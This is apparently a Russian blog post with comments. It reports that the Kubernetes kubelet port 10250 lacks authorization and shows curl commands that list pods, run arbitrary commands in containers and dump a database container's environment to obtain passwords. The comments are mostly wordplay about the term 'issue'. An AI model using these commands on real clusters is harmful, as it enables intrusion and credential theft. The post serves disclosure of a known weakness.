Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.
Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:
- https://github.com/kubernetes/kubernetes/issues/3168
- https://github.com/kubernetes/kubernetes/issues/7965
- https://github.com/kubernetes/kubernetes/issues/11816
Что с этим можно сделать? Практически всё. Без регистрации и sms.
Получить список всех pod'ов:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.toolВыполнить команду внутри контейнера? Запросто:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"Получить пароль на базу данных? Проще простого:
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'Вытащить из неё данные тоже не составит труда.
Поделиться с друзьями
alexkunin
Вы там вопрос задали — почему иссую 11816 закрыли. Так вот прямо над вашим вопросом референсится иссуя 2098, в которой поясняется закрытие:
Иссуя 3168 — закрыта потому, что тема перекочевала в 11816. А 7965 закрыта как дубль 3168.В общем, пишут, что аутентификация добавлена, хотя не добавили опций в командную строку для ее осуществления. Есть воркэраунд, но дальше я уже не вникал.
AloneCoder
«Иссуя»?!
alexkunin
Да, иссуя, устоялось среди людей, с которыми работаю. Наверное, потому что склонять можно, и число видно. Ну, и тяжкое наследие «ентер», «делете», «бакспасе». В то же время вместо «прислали ишшью», «пофиксил два ишшью», «больше нет ишшью» — «прислали иссую», «пофиксил две иссуи», «больше нет иссуй» — как-то более «по-русски».
DrPass
Чего бы вам их «тасками» не обзывать…
alexkunin
Потому что в редмайне это именно иссуи.
wodby
В множественном числе можно говорить «ишьюсы» (issues): «пофиксил два ишью», «больше нет ишьюсов». Еще вместо Ш в середине слова можно использовать Щ потому что по-английски оно именно так и звучит. Ну и надо сразу учиться говорить правильно (заодно коллег переучивать), потом все равно придется переучиваться когда попадешь в другой коллектив, особенно если он англоязычный.
ssot
Да ладно иссуя. Я в своей практике встречал «щедулесы» с «пропетрисами» и прочий «фусик ёу» :)
dmitryredkin
Ишью же!
Suvitruf
Эм, в американсокм варианте оно через «с» и пишется — [ ??sju? ], это в британском через «ш» — [ ???u? ].
К слову, в британском английском schedule через «ш» — [ ??edju?l ].
Так что, не всё так однозначно.
lohmatiyy
DrPass
Вспоминаются венгерские терминалы Videoton из детства, которые были с кириллическим знакогенератором, и поэтому на недопереведенных буржуйских ОС приходилось созерцать ошибки вида ИНЖАЛИД ДЕЖИЦЕ.
grossws
И классический
ЕГГОГ,)Barafu
У нас вообще «изя». А у знакомых «дело». Там бывший гаишник в команде, он термин и внедрил.
alexkunin
У вас, наверное, не «манагер ассигнит иссую», а «начальник шьет дело». Чесговоря мне нравится. :)